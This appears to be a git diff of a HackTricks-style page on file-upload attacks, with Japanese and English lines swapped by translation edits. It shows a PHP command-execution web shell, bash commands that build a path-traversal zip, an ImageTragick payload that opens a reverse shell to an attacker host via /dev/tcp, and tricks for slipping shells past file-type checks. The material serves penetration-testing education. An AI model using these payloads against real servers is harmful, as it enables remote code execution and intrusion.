**圧縮を悪用した file spraying**
|
||||
|
||||
詳細は**オリジナル投稿を確認してください**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
詳細は**元の投稿を確認してください**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **Creating a PHP Shell**: PHPコードは、`$_REQUEST`変数経由で渡されたコマンドを実行するように書かれています。
|
||||
1. **Creating a PHP Shell**: `$_REQUEST` 変数から渡されたコマンドを実行するPHPコードが書かれています。
|
||||
|
||||
```php
|
||||
<?php
|
||||
@ -269,14 +298,14 @@ system($cmd);
|
||||
}?>
|
||||
```
|
||||
|
||||
2. **File Spraying and Compressed File Creation**: 複数のファイルを作成し、これらのファイルを含むzipアーカイブを作成します。
|
||||
2. **File Spraying and Compressed File Creation**: 複数のファイルを作成し、それらを含むzipアーカイブを組み立てます。
|
||||
|
||||
```bash
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **Modification with a Hex Editor or vi**: zip内のファイル名をviやHex Editorで変更し、"xxA"を"../"に置換してディレクトリを横断します。
|
||||
3. **Modification with a Hex Editor or vi**: zip内のファイル名をviやhex editorで変更し、"xxA"を"../"に置換してディレクトリを横断します。
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
@ -286,40 +315,40 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
|
||||
## ImageTragic
|
||||
|
||||
この内容を画像拡張子でアップロードすると、脆弱性 **(ImageMagick , 7.0.1-1)** を悪用できます(詳細は [exploit](https://www.exploit-db.com/exploits/39767) を参照)。
|
||||
この内容をimage拡張子でアップロードして脆弱性を悪用します **(ImageMagick , 7.0.1-1)**(詳細は [exploit](https://www.exploit-db.com/exploits/39767) を参照)
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
||||
pop graphic-context
|
||||
```
|
||||
## PNGにPHP Shellを埋め込む
|
||||
## Embedding PHP Shell on PNG
|
||||
|
||||
PNGファイルのIDATチャンクにPHP Shellを埋め込むことで、特定の画像処理を効果的にバイパスできます。`imagecopyresized`や`imagecopyresampled`といったPHP-GDの関数は、それぞれ画像のリサイズやリサンプリングに一般的に使用されるため、この文脈で特に関連があります。埋め込まれたPHP Shellがこれらの処理の影響を受けずに残ることは、特定のユースケースで大きな利点です。
|
||||
Embedding a PHP shell in the IDAT chunk of a PNG file can effectively bypass certain image processing operations. The functions `imagecopyresized` and `imagecopyresampled` from PHP-GD are particularly relevant in this context, as they are commonly used for resizing and resampling images, respectively. The ability of the embedded PHP shell to remain unaffected by these operations is a significant advantage for certain use cases.
|
||||
|
||||
この技術の手法や応用可能性を含む詳細な解説は、次の記事で提供されています: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。このリソースはプロセスとその影響を包括的に理解するのに役立ちます。
|
||||
A detailed exploration of this technique, including its methodology and potential applications, is provided in the following article: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). This resource offers a comprehensive understanding of the process and its implications.
|
||||
|
||||
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## Polyglot Files
|
||||
|
||||
Polyglot filesはサイバーセキュリティにおけるユニークなツールであり、複数のファイル形式として同時に有効に存在できるカメレオンのように振る舞います。興味深い例としては[GIFAR](https://en.wikipedia.org/wiki/Gifar)があり、これはGIFとRARアーカイブの両方として機能するハイブリッドです。このようなファイルはこの組み合わせに限らず、GIFとJSやPPTとJSのような組み合わせも可能です。
|
||||
Polyglot files serve as a unique tool in cybersecurity, acting as chameleons that can validly exist in multiple file formats simultaneously. An intriguing example is a [GIFAR](https://en.wikipedia.org/wiki/Gifar), a hybrid that functions both as a GIF and a RAR archive. Such files aren't limited to this pairing; combinations like GIF and JS or PPT and JS are also feasible.
|
||||
|
||||
ポリグロットの主要な有用性は、ファイルの種類に基づいてファイルをスクリーニングするセキュリティ対策を回避できる点にあります。多くのアプリケーションでは、潜在的に危険な形式(例: JS、PHP、または Phar files)によるリスクを軽減するために、JPEG、GIF、またはDOCのような特定のファイルタイプのみをアップロード可とするのが一般的です。
|
||||
The core utility of polyglot files lies in their capacity to circumvent security measures that screen files based on type. Common practice in various applications entails permitting only certain file types for upload—like JPEG, GIF, or DOC—to mitigate the risk posed by potentially harmful formats (e.g., JS, PHP, or Phar files). However, a polyglot, by conforming to the structural criteria of multiple file types, can stealthily bypass these restrictions.
|
||||
|
||||
適応性が高い一方で、polyglotsには制限もあります。例えば、あるpolyglotが同時にPHAR file (PHp ARchive)とJPEGを具備していても、アップロードの可否はプラットフォームのファイル拡張子ポリシーに依存する可能性があります。システムが許可される拡張子に厳格であれば、polyglotの構造上の二重性だけではアップロードを保証できないかもしれません。
|
||||
Despite their adaptability, polyglots do encounter limitations. For instance, while a polyglot might simultaneously embody a PHAR file (PHp ARchive) and a JPEG, the success of its upload might hinge on the platform's file extension policies. If the system is stringent about allowable extensions, the mere structural duality of a polyglot may not suffice to guarantee its upload.
|
||||
|
||||
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
### JSONをPDFのふりをしてアップロードする方法
|
||||
### Upload valid JSONs like if it was PDF
|
||||
|
||||
許可されていない場合でも有効なJSONファイルをPDFとして偽装してアップロードすることでファイルタイプ検出を回避する方法(**[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**からの技術):
|
||||
How to avoid file type detections by uploading a valid JSON file even if not allowed by faking a PDF file (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
|
||||
- **`mmmagic` library**: 最初の1024バイト以内に`%PDF`のマジックバイトがあれば有効です(例は記事参照)
|
||||
- **`pdflib` library**: JSONのフィールド内に偽のPDFフォーマットを入れることでライブラリにPDFだと判断させる(例は記事参照)
|
||||
- **`file` binary**: ファイルから最大1048576バイトを読み取れます。これより大きなJSONを作成して内容をjsonとして解析できなくさせ、JSONの中に実際のPDFの先頭部を入れれば、それをPDFだと判断します
|
||||
- **`mmmagic` library**: As long as the `%PDF` magic bytes are in the first 1024 bytes it’s valid (get example from post)
|
||||
- **`pdflib` library**: Add a fake PDF format inside a filed of the JSON so the library thinks it’s a pdf (get example from post)
|
||||
- **`file` binary**: It can read up to 1048576 bytes from a file. Just create a JSON bigger than that so it cannot parse the content as a json and then inside the JSON put the initial part of a real PDF and it’ll think it’s a PDF
|
||||
|
||||
## 参考
|
||||
## References
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||||
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
|
||||
@ -329,5 +358,8 @@ More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-frie
|
||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
|
||||
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
|
||||
- [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user